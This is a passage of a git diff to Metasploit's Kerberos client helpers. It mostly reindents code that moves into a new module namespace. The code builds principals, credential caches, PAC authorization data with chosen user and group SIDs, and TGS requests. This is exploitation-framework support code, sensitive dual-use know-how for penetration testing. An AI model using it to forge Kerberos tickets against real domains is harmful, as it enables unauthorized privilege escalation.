enc_kdc_res.key - end + enc_kdc_res.key + end - # Extracts the logon time from a Kerberos AS Response - # - # @param res [Rex::Proto::Kerberos::Model::KdcResponse] - # @param key [String] - # @return [Fixnum] - # @see Rex::Proto::Kerberos::Model::KdcResponse - # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt - # @see Rex::Proto::Kerberos::Model::EncKdcResponse - # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode - def extract_logon_time(res, key) - decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) - enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) + # Extracts the logon time from a Kerberos AS Response + # + # @param res [Rex::Proto::Kerberos::Model::KdcResponse] + # @param key [String] + # @return [Fixnum] + # @see Rex::Proto::Kerberos::Model::KdcResponse + # @see Rex::Proto::Kerberos::Model::EncryptedData.decrypt + # @see Rex::Proto::Kerberos::Model::EncKdcResponse + # @see Rex::Proto::Kerberos::Model::EncKdcResponse.decode + def extract_logon_time(res, key) + decrypt_res = res.enc_part.decrypt(key, Rex::Proto::Kerberos::Crypto::ENC_AS_RESPONSE) + enc_kdc_res = Rex::Proto::Kerberos::Model::EncKdcResponse.decode(decrypt_res) - auth_time = enc_kdc_res.auth_time + auth_time = enc_kdc_res.auth_time - auth_time.to_i - end + auth_time.to_i end end end diff --git a/lib/msf/core/exploit/kerberos/client/base.rb b/lib/msf/core/exploit/kerberos/client/base.rb index a9a1085140..41d46155e0 100644 --- a/lib/msf/core/exploit/kerberos/client/base.rb +++ b/lib/msf/core/exploit/kerberos/client/base.rb @@ -1,43 +1,41 @@ # -*- coding: binary -*- -module Msf - module Kerberos - module Client - module Base +module Msf::Exploit::Remote::Kerberos + module Client + module Base - # Builds a kerberos Client Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name the client's name - # @option opts [Fixnum] :client_type the client's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_client_name(opts = {}) - name = opts[:client_name] || '' - name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + # Builds a kerberos Client Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name the client's name + # @option opts [Fixnum] :client_type the client's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_client_name(opts = {}) + name = opts[:client_name] || '' + name_type = opts[:client_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) - end + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) + end - # Builds a kerberos Server Name Principal - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :server_name the server's name - # @option opts [Fixnum] :server_type the server's name type - # @return [Rex::Proto::Kerberos::Model::PrincipalName] - # @see Rex::Proto::Kerberos::Model::PrincipalName - def build_server_name(opts = {}) - name = opts[:server_name] || '' - name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL + # Builds a kerberos Server Name Principal + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :server_name the server's name + # @option opts [Fixnum] :server_type the server's name type + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + # @see Rex::Proto::Kerberos::Model::PrincipalName + def build_server_name(opts = {}) + name = opts[:server_name] || '' + name_type = opts[:server_type] || Rex::Proto::Kerberos::Model::NT_PRINCIPAL - Rex::Proto::Kerberos::Model::PrincipalName.new( - name_type: name_type, - name_string: name.split('/') - ) - end + Rex::Proto::Kerberos::Model::PrincipalName.new( + name_type: name_type, + name_string: name.split('/') + ) end end end diff --git a/lib/msf/core/exploit/kerberos/client/cache_credential.rb b/lib/msf/core/exploit/kerberos/client/cache_credential.rb index e7295c6ae7..5ff70f90fc 100644 --- a/lib/msf/core/exploit/kerberos/client/cache_credential.rb +++ b/lib/msf/core/exploit/kerberos/client/cache_credential.rb @@ -1,147 +1,145 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module CacheCredential +module Msf::Exploit::Remote::Kerberos + module Client + module CacheCredential - # Builds a MIT Credential Cache - # - # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] - # @option opts [Fixnum] :version - # @option opts [Array] :headers - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal - # @option opts [Array] :credentials - # @return [Rex::Proto::Kerberos::CredentialCache::Cache] - # @see Rex::Proto::Kerberos::CredentialCache::Cache - def create_cache(opts = {}) - version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION - headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] - primary_principal = opts[:primary_principal] || create_cache_principal(opts) - credentials = opts[:credentials] || [create_cache_credential(opts)] + # Builds a MIT Credential Cache + # + # @param opts [Hash{Symbol => , Rex::Proto::Kerberos::CredentialCache::Principal, Array>}] + # @option opts [Fixnum] :version + # @option opts [Array] :headers + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] :primary_principal + # @option opts [Array] :credentials + # @return [Rex::Proto::Kerberos::CredentialCache::Cache] + # @see Rex::Proto::Kerberos::CredentialCache::Cache + def create_cache(opts = {}) + version = opts[:version] || Rex::Proto::Kerberos::CredentialCache::VERSION + headers = opts[:headers] || [Rex::Proto::Kerberos::CredentialCache::HEADER] + primary_principal = opts[:primary_principal] || create_cache_principal(opts) + credentials = opts[:credentials] || [create_cache_credential(opts)] - cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( - version: version, - headers: headers, - primary_principal: primary_principal, - credentials: credentials - ) + cache = Rex::Proto::Kerberos::CredentialCache::Cache.new( + version: version, + headers: headers, + primary_principal: primary_principal, + credentials: credentials + ) - cache - end + cache + end - # Builds a MIT Credential Cache principal - # - # @param opts [Hash<{Symbol => >}>] - # @option opts [Fixnum] :name_type - # @option opts [String] :realm - # @option opts [Array] :components - # @return [Rex::Proto::Kerberos::CredentialCache::Principal] - # @see Rex::Proto::Kerberos::CredentialCache::Principal - def create_cache_principal(opts = {}) - name_type = opts[:name_type] || 0 - realm = opts[:realm] || '' - components = opts[:components] || [''] + # Builds a MIT Credential Cache principal + # + # @param opts [Hash<{Symbol => >}>] + # @option opts [Fixnum] :name_type + # @option opts [String] :realm + # @option opts [Array] :components + # @return [Rex::Proto::Kerberos::CredentialCache::Principal] + # @see Rex::Proto::Kerberos::CredentialCache::Principal + def create_cache_principal(opts = {}) + name_type = opts[:name_type] || 0 + realm = opts[:realm] || '' + components = opts[:components] || [''] - principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( - name_type: name_type, - realm: realm, - components:components - ) + principal = Rex::Proto::Kerberos::CredentialCache::Principal.new( + name_type: name_type, + realm: realm, + components:components + ) - principal - end + principal + end - # Builds a MIT Credential Cache key block - # - # @param opts [Hash<{Symbol => }>] - # @option opts [Fixnum] :key_type - # @option opts [Fixnum] :e_type - # @option opts [String] :key_value - # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] - # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock - def create_cache_key_block(opts = {}) - key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - e_type = opts[:e_type] || 0 - key_value = opts[:key_value] || '' + # Builds a MIT Credential Cache key block + # + # @param opts [Hash<{Symbol => }>] + # @option opts [Fixnum] :key_type + # @option opts [Fixnum] :e_type + # @option opts [String] :key_value + # @return [Rex::Proto::Kerberos::CredentialCache::KeyBlock] + # @see Rex::Proto::Kerberos::CredentialCache::KeyBlock + def create_cache_key_block(opts = {}) + key_type = opts[:key_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC + e_type = opts[:e_type] || 0 + key_value = opts[:key_value] || '' - key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( - key_type: key_type, - e_type: e_type, - key_value: key_value - ) + key_block = Rex::Proto::Kerberos::CredentialCache::KeyBlock.new( + key_type: key_type, + e_type: e_type, + key_value: key_value + ) - key_block - end + key_block + end - # Builds a times structure linked to a credential in a MIT Credential Cache - # - # @param opts [Hash<{Symbol => Fixnum}>] - # @option opts [Fixnum] auth_time - # @option opts [Fixnum] start_time - # @option opts [Fixnum] end_time - # @option opts [Fixnum] renew_till - # @return [Rex::Proto::Kerberos::CredentialCache::Time] - # @see Rex::Proto::Kerberos::CredentialCache::Time - def create_cache_times(opts = {}) - auth_time = opts[:auth_time] || 0 - start_time = opts[:start_time] || 0 - end_time = opts[:end_time] || 0 - renew_till = opts[:renew_till] || 0 + # Builds a times structure linked to a credential in a MIT Credential Cache + # + # @param opts [Hash<{Symbol => Fixnum}>] + # @option opts [Fixnum] auth_time + # @option opts [Fixnum] start_time + # @option opts [Fixnum] end_time + # @option opts [Fixnum] renew_till + # @return [Rex::Proto::Kerberos::CredentialCache::Time] + # @see Rex::Proto::Kerberos::CredentialCache::Time + def create_cache_times(opts = {}) + auth_time = opts[:auth_time] || 0 + start_time = opts[:start_time] || 0 + end_time = opts[:end_time] || 0 + renew_till = opts[:renew_till] || 0 - time = Rex::Proto::Kerberos::CredentialCache::Time.new( - auth_time: auth_time.to_i, - start_time: start_time.to_i, - end_time: end_time.to_i, - renew_till: renew_till.to_i - ) + time = Rex::Proto::Kerberos::CredentialCache::Time.new( + auth_time: auth_time.to_i, + start_time: start_time.to_i, + end_time: end_time.to_i, + renew_till: renew_till.to_i + ) - time - end + time + end - # Builds a MIT Credential Cache credential - # - # @param opts [Hash<{Symbol => <>}>] - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client - # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server - # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key - # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time - # @option opts [Fixnum] is_key - # @option opts [Fixnum] flags - # @option opts [Array] addrs - # @option opts [Array] auth_data - # @option opts [String] ticket - # @option opts [String] second_ticket - # @return [Rex::Proto::Kerberos::CredentialCache::Credential] - # @see Rex::Proto::Kerberos::CredentialCache::Credential - def create_cache_credential(opts = {}) - client = opts[:client] || create_cache_principal(opts) - server = opts[:server] || create_cache_principal(opts) - key = opts[:key] || create_cache_key_block(opts) - time = opts[:time] || create_cache_times(opts) - is_skey = opts[:is_skey] || 0 - tkt_flags = opts[:flags] || 0 - addrs = opts[:addrs] || [] - auth_data = opts[:auth_data] || [] - ticket = opts[:ticket] || '' - second_ticket = opts[:second_ticket] || '' + # Builds a MIT Credential Cache credential + # + # @param opts [Hash<{Symbol => <>}>] + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] client + # @option opts [Rex::Proto::Kerberos::CredentialCache::Principal] server + # @option opts [Rex::Proto::Kerberos::CredentialCache::KeyBlock] key + # @option opts [Rex::Proto::Kerberos::CredentialCache::Time] time + # @option opts [Fixnum] is_key + # @option opts [Fixnum] flags + # @option opts [Array] addrs + # @option opts [Array] auth_data + # @option opts [String] ticket + # @option opts [String] second_ticket + # @return [Rex::Proto::Kerberos::CredentialCache::Credential] + # @see Rex::Proto::Kerberos::CredentialCache::Credential + def create_cache_credential(opts = {}) + client = opts[:client] || create_cache_principal(opts) + server = opts[:server] || create_cache_principal(opts) + key = opts[:key] || create_cache_key_block(opts) + time = opts[:time] || create_cache_times(opts) + is_skey = opts[:is_skey] || 0 + tkt_flags = opts[:flags] || 0 + addrs = opts[:addrs] || [] + auth_data = opts[:auth_data] || [] + ticket = opts[:ticket] || '' + second_ticket = opts[:second_ticket] || '' - cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( - client: client, - server: server, - key: key, - time: time, - is_skey: is_skey, - tkt_flags:tkt_flags, - addrs: addrs, - auth_data: auth_data, - ticket: ticket, - second_ticket: second_ticket - ) + cred = Rex::Proto::Kerberos::CredentialCache::Credential.new( + client: client, + server: server, + key: key, + time: time, + is_skey: is_skey, + tkt_flags:tkt_flags, + addrs: addrs, + auth_data: auth_data, + ticket: ticket, + second_ticket: second_ticket + ) - cred - end + cred end end end diff --git a/lib/msf/core/exploit/kerberos/client/pac.rb b/lib/msf/core/exploit/kerberos/client/pac.rb index bf6e05328b..5a06dfdcd0 100644 --- a/lib/msf/core/exploit/kerberos/client/pac.rb +++ b/lib/msf/core/exploit/kerberos/client/pac.rb @@ -1,111 +1,109 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module Pac +module Msf::Exploit::Remote::Kerberos + module Client + module Pac - # Builds a kerberos PA-PAC-REQUEST pre authenticated structure - # - # @param opts [Hash{Symbol => Boolean}] - # @option opts [Boolean] :pac_request_value - # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] - # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest - # @see Rex::Proto::Kerberos::Model::PreAuthData - def build_pa_pac_request(opts = {}) - value = opts[:pac_request_value] || false - pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) - pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, - value: pac_request.encode - ) - - pa_pac_request - end - - # Builds a kerberos PACTYPE structure - # - # @param opts [Hash{Symbol => }] - # @option opts [String] :client_name - # @option opts [Fixnum] :user_id the user SID Ex: 1000 - # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' - # @option opts [Array] :group_ids - # @option opts [String] :realm - # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 - # @option opts [Time] :logon_time - # @return [Rex::Proto::Kerberos::Pac::Type] - # @see Rex::Proto::Kerberos::Pac::LogonInfo - # @see Rex::Proto::Kerberos::Pac::ClientInfo - # @see Rex::Proto::Kerberos::Pac::ServerChecksum - # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum - # @see Rex::Proto::Kerberos::Pac::Type - def build_pac(opts = {}) - user_name = opts[:client_name] || '' - user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID - primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS - group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] - domain_name = opts[:realm] || '' - domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID - logon_time = opts[:logon_time] || Time.now - checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 - - logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( - logon_time: logon_time, - effective_name: user_name, - user_id: user_id, - primary_group_id: primary_group_id, - group_ids: group_ids, - logon_domain_name: domain_name, - logon_domain_id: domain_id, - ) - - client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( - client_id: logon_time, - name: user_name - ) - - server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( - checksum: checksum_type - ) - - priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( - checksum: checksum_type - ) - - pac_type = Rex::Proto::Kerberos::Pac::Type.new( - buffers: [ - logon_info, - client_info, - server_checksum, - priv_srv_checksum - ], - checksum: checksum_type - ) - - pac_type - end - - # Builds an kerberos AuthorizationData structure containing a PACTYPE - # - # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] - # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac - # @return [Rex::Proto::Kerberos::Model::AuthorizationData] - # @see Rex::Proto::Kerberos::Model::AuthorizationData - def build_pac_authorization_data(opts = {}) - pac = opts[:pac] || build_pac(opts) - - pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] - ) - authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( - elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] - ) - - authorization_data - end + # Builds a kerberos PA-PAC-REQUEST pre authenticated structure + # + # @param opts [Hash{Symbol => Boolean}] + # @option opts [Boolean] :pac_request_value + # @return [Rex::Proto::Kerberos::Model::Field::PreAuthData] + # @see Rex::Proto::Kerberos::Model::PreAuthPacRequest + # @see Rex::Proto::Kerberos::Model::PreAuthData + def build_pa_pac_request(opts = {}) + value = opts[:pac_request_value] || false + pac_request = Rex::Proto::Kerberos::Model::PreAuthPacRequest.new(value: value) + pa_pac_request = Rex::Proto::Kerberos::Model::PreAuthData.new( + type: Rex::Proto::Kerberos::Model::PA_PAC_REQUEST, + value: pac_request.encode + ) + pa_pac_request end + + # Builds a kerberos PACTYPE structure + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :client_name + # @option opts [Fixnum] :user_id the user SID Ex: 1000 + # @option opts [Fixnum] :group_id Ex: 513 for 'Domain Users' + # @option opts [Array] :group_ids + # @option opts [String] :realm + # @option opts [String] :domain_id the domain SID Ex: S-1-5-21-1755879683-3641577184-3486455962 + # @option opts [Time] :logon_time + # @return [Rex::Proto::Kerberos::Pac::Type] + # @see Rex::Proto::Kerberos::Pac::LogonInfo + # @see Rex::Proto::Kerberos::Pac::ClientInfo + # @see Rex::Proto::Kerberos::Pac::ServerChecksum + # @see Rex::Proto::Kerberos::Pac::PrivSvrChecksum + # @see Rex::Proto::Kerberos::Pac::Type + def build_pac(opts = {}) + user_name = opts[:client_name] || '' + user_id = opts[:user_id] || Rex::Proto::Kerberos::Pac::DEFAULT_USER_SID + primary_group_id = opts[:group_id] || Rex::Proto::Kerberos::Pac::DOMAIN_USERS + group_ids = opts[:group_ids] || [Rex::Proto::Kerberos::Pac::DOMAIN_USERS] + domain_name = opts[:realm] || '' + domain_id = opts[:domain_id] || Rex::Proto::Kerberos::Pac::NT_AUTHORITY_SID + logon_time = opts[:logon_time] || Time.now + checksum_type = opts[:checksum_type] || Rex::Proto::Kerberos::Crypto::RSA_MD5 + + logon_info = Rex::Proto::Kerberos::Pac::LogonInfo.new( + logon_time: logon_time, + effective_name: user_name, + user_id: user_id, + primary_group_id: primary_group_id, + group_ids: group_ids, + logon_domain_name: domain_name, + logon_domain_id: domain_id, + ) + + client_info = Rex::Proto::Kerberos::Pac::ClientInfo.new( + client_id: logon_time, + name: user_name + ) + + server_checksum = Rex::Proto::Kerberos::Pac::ServerChecksum.new( + checksum: checksum_type + ) + + priv_srv_checksum = Rex::Proto::Kerberos::Pac::PrivSvrChecksum.new( + checksum: checksum_type + ) + + pac_type = Rex::Proto::Kerberos::Pac::Type.new( + buffers: [ + logon_info, + client_info, + server_checksum, + priv_srv_checksum + ], + checksum: checksum_type + ) + + pac_type + end + + # Builds an kerberos AuthorizationData structure containing a PACTYPE + # + # @param opts [Hash{Symbol => Rex::Proto::Kerberos::Pac::Type}] + # @option opts [Rex::Proto::Kerberos::Pac::Type] :pac + # @return [Rex::Proto::Kerberos::Model::AuthorizationData] + # @see Rex::Proto::Kerberos::Model::AuthorizationData + def build_pac_authorization_data(opts = {}) + pac = opts[:pac] || build_pac(opts) + + pac_auth_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Pac::AD_WIN2K_PAC, :data => pac.encode}] + ) + authorization_data = Rex::Proto::Kerberos::Model::AuthorizationData.new( + elements: [{:type => Rex::Proto::Kerberos::Model::AD_IF_RELEVANT, :data => pac_auth_data.encode}] + ) + + authorization_data + end + end end end diff --git a/lib/msf/core/exploit/kerberos/client/tgs_request.rb b/lib/msf/core/exploit/kerberos/client/tgs_request.rb index deb336f051..5573136288 100644 --- a/lib/msf/core/exploit/kerberos/client/tgs_request.rb +++ b/lib/msf/core/exploit/kerberos/client/tgs_request.rb @@ -1,272 +1,270 @@ # -*- coding: binary -*- require 'rex/proto/kerberos' -module Msf - module Kerberos - module Client - module TgsRequest +module Msf::Exploit::Remote::Kerberos + module Client + module TgsRequest - # Builds the encrypted Kerberos TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator - # @option opts [Array] :pa_data - # @return [Rex::Proto::Kerberos::Model::KdcRequest] - # @raise [RuntimeError] if ticket isn't available - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::Authenticator - # @see Rex::Proto::Kerberos::Model::PreAuthData - # @see Rex::Proto::Kerberos::Model::KdcRequest - def build_tgs_request(opts = {}) - subkey = opts[:subkey] || build_subkey(opts) + # Builds the encrypted Kerberos TGS request + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data + # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey + # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum + # @option opts [Rex::Proto::Kerberos::Model::Authenticator] :auhtenticator + # @option opts [Array] :pa_data + # @return [Rex::Proto::Kerberos::Model::KdcRequest] + # @raise [RuntimeError] if ticket isn't available + # @see Rex::Proto::Kerberos::Model::AuthorizationData + # @see Rex::Proto::Kerberos::Model::EncryptedData + # @see Rex::Proto::Kerberos::Model::EncryptionKey + # @see Rex::Proto::Kerberos::Model::Checksum + # @see Rex::Proto::Kerberos::Model::Authenticator + # @see Rex::Proto::Kerberos::Model::PreAuthData + # @see Rex::Proto::Kerberos::Model::KdcRequest + def build_tgs_request(opts = {}) + subkey = opts[:subkey] || build_subkey(opts) - if opts[:enc_auth_data] - enc_auth_data = opts[:enc_auth_data] - elsif opts[:auth_data] - enc_auth_data = build_enc_auth_data( - auth_data: opts[:auth_data], - subkey: subkey - ) - else - enc_auth_data = nil - end - - body = build_tgs_request_body(opts.merge( - enc_auth_data: enc_auth_data - )) - - checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) - - if opts[:auhtenticator] - authenticator = opts[:authenticator] - else - authenticator = build_authenticator(opts.merge( - subkey: subkey, - checksum: checksum - )) - end - - if opts[:ap_req] - ap_req = opts[:ap_req] - else - ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) - end - - pa_ap_req = Rex::Proto::Kerberos::Model::PreAuthData.new( - type: Rex::Proto::Kerberos::Model::PA_TGS_REQ, - value: ap_req.encode - ) - - pa_data = [] - pa_data.push(pa_ap_req) - if opts[:pa_data] - opts[:pa_data].each { |pa| pa_data.push(pa) } - end - - request = Rex::Proto::Kerberos::Model::KdcRequest.new( - pvno: 5, - msg_type: Rex::Proto::Kerberos::Model::TGS_REQ, - pa_data: pa_data, - req_body: body - ) - - request - end - - # Builds the encrypted TGS authorization data - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::AuthorizationData] :auth_data - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::EncryptedData] - # @raise [RuntimeError] if auth_data option isn't provided - # @see Rex::Proto::Kerberos::Model::AuthorizationData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::EncryptedData - def build_enc_auth_data(opts = {}) - auth_data = opts[:auth_data] - - if auth_data.nil? - raise ::RuntimeError, 'auth_data option required on #build_enc_auth_data' - end - - subkey = opts[:subkey] || build_subkey(opts) - - encrypted = auth_data.encrypt(subkey.type, subkey.value) - - e_data = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: subkey.type, - cipher: encrypted - ) - - e_data - end - - # Builds a KRB_AP_REQ message - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :pvno - # @option opts [Fixnum] :msg_type - # @option opts [Fixnum] :ap_req_options - # @option opts [Rex::Proto::Kerberos::Model::Ticket] :ticket - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :authenticator - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :session_key - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @raise [RuntimeError] if ticket option isn't provided - # @see Rex::Proto::Kerberos::Model::Ticket - # @see Rex::Proto::Kerberos::Model::EncryptedData - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_ap_req(opts = {}) - pvno = opts[:pvno] || Rex::Proto::Kerberos::Model::VERSION - msg_type = opts[:msg_type] || Rex::Proto::Kerberos::Model::AP_REQ - options = opts[:ap_req_options] || 0 - ticket = opts[:ticket] - authenticator = opts[:authenticator] || build_authenticator(opts) - session_key = opts[:session_key] || build_subkey(opts) - - if ticket.nil? - raise ::RuntimeError, 'Building a AP-REQ without ticket not supported' - end - - enc_authenticator = Rex::Proto::Kerberos::Model::EncryptedData.new( - etype: session_key.type, - cipher: authenticator.encrypt(session_key.type, session_key.value) - ) - - ap_req = Rex::Proto::Kerberos::Model::ApReq.new( - pvno: pvno, - msg_type: msg_type, - options: options, - ticket: ticket, - authenticator: enc_authenticator - ) - - ap_req - end - - # Builds a kerberos authenticator for a TGS request - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Time] :ctime - # @option opts [Fixnum] :cusec - # @option opts [Rex::Proto::Kerberos::Model::Checksum] :checksum - # @option opts [Rex::Proto::Kerberos::Model::EncryptionKey] :subkey - # @return [Rex::Proto::Kerberos::Model::Authenticator] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::Checksum - # @see Rex::Proto::Kerberos::Model::EncryptionKey - # @see Rex::Proto::Kerberos::Model::Authenticator - def build_authenticator(opts = {}) - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - ctime = opts[:ctime] || Time.now - cusec = opts[:cusec] || ctime.usec - checksum = opts[:checksum] || build_tgs_body_checksum(opts) - subkey = opts[:subkey] || build_subkey(opts) - - authenticator = Rex::Proto::Kerberos::Model::Authenticator.new( - vno: 5, - crealm: realm, - cname: cname, - checksum: checksum, - cusec: cusec, - ctime: ctime, + if opts[:enc_auth_data] + enc_auth_data = opts[:enc_auth_data] + elsif opts[:auth_data] + enc_auth_data = build_enc_auth_data( + auth_data: opts[:auth_data], subkey: subkey ) - - authenticator + else + enc_auth_data = nil end - # Builds an encryption key to protect the data sent in the TGS request. - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :subkey_type - # @option opts [String] :subkey_value - # @return [Rex::Proto::Kerberos::Model::EncryptionKey] - # @see Rex::Proto::Kerberos::Model::EncryptionKey - def build_subkey(opts={}) - subkey_type = opts[:subkey_type] || Rex::Proto::Kerberos::Crypto::RC4_HMAC - subkey_value = opts[:subkey_value] || Rex::Text.rand_text(16) + body = build_tgs_request_body(opts.merge( + enc_auth_data: enc_auth_data + )) - subkey = Rex::Proto::Kerberos::Model::EncryptionKey.new( - type: subkey_type, - value: subkey_value - ) + checksum = opts[:checksum] || build_tgs_body_checksum(:body => body) - subkey + if opts[:auhtenticator] + authenticator = opts[:authenticator] + else + authenticator = build_authenticator(opts.merge( + subkey: subkey, + checksum: checksum + )) end - - # Builds a kerberos TGS request body - # - # @param opts [Hash{Symbol => }] - # @option opts [Fixnum] :options - # @option opts [Time] :from - # @option opts [Time] :till - # @option opts [Time] :rtime - # @option opts [Fixnum] :nonce - # @option opts [Fixnum] :etype - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :cname - # @option opts [String] :realm - # @option opts [Rex::Proto::Kerberos::Model::PrincipalName] :sname - # @option opts [Rex::Proto::Kerberos::Model::EncryptedData] :enc_auth_data - # @return [Rex::Proto::Kerberos::Model::KdcRequestBody] - # @see Rex::Proto::Kerberos::Model::PrincipalName - # @see Rex::Proto::Kerberos::Model::KdcRequestBody - def build_tgs_request_body(opts = {}) - options = opts[:options] || 0x50800000 # Forwardable, Proxiable, Renewable - from = opts[:from] || Time.utc('1970-01-01-01 00:00:00') - till = opts[:till] || Time.utc('1970-01-01-01 00:00:00') - rtime = opts[:rtime] || Time.utc('1970-01-01-01 00:00:00') - nonce = opts[:nonce] || Rex::Text.rand_text_numeric(6).to_i - etype = opts[:etype] || [Rex::Proto::Kerberos::Crypto::RC4_HMAC] - cname = opts[:cname] || build_client_name(opts) - realm = opts[:realm] || '' - sname = opts[:sname] || build_server_name(opts) - enc_auth_data = opts[:enc_auth_data] || nil - - body = Rex::Proto::Kerberos::Model::KdcRequestBody.new( - options: options, - cname: cname, - realm: realm, - sname: sname, - from: from, - till: till, - rtime: rtime, - nonce: nonce, - etype: etype, - enc_auth_data: enc_auth_data - ) - - body + if opts[:ap_req] + ap_req = opts[:ap_req] + else + ap_req = build_ap_req(opts.merge(:authenticator => authenticator)) end - # Builds a Kerberos TGS Request body checksum - # - # @param opts [Hash{Symbol => }] - # @option opts [Rex::Proto::Kerberos::Model::KdcRequestBody] :body - # @return [Rex::Proto::Kerberos::Model::Checksum] - # @see #build_tgs_request_body - # @see Rex::Proto::Kerberos::Model::Checksum - def build_tgs_body_checksum(opts = {}) - body = opts[:body] || build_tgs_request_body(opts) - checksum_body = body.checksum(Rex::Proto::Kerberos::Crypto::RSA_MD5) - checksum = Rex::Proto::Kerberos::Model::Checksum.new( - type: 7, - checksum: checksum_body - ) + pa_ap_req = 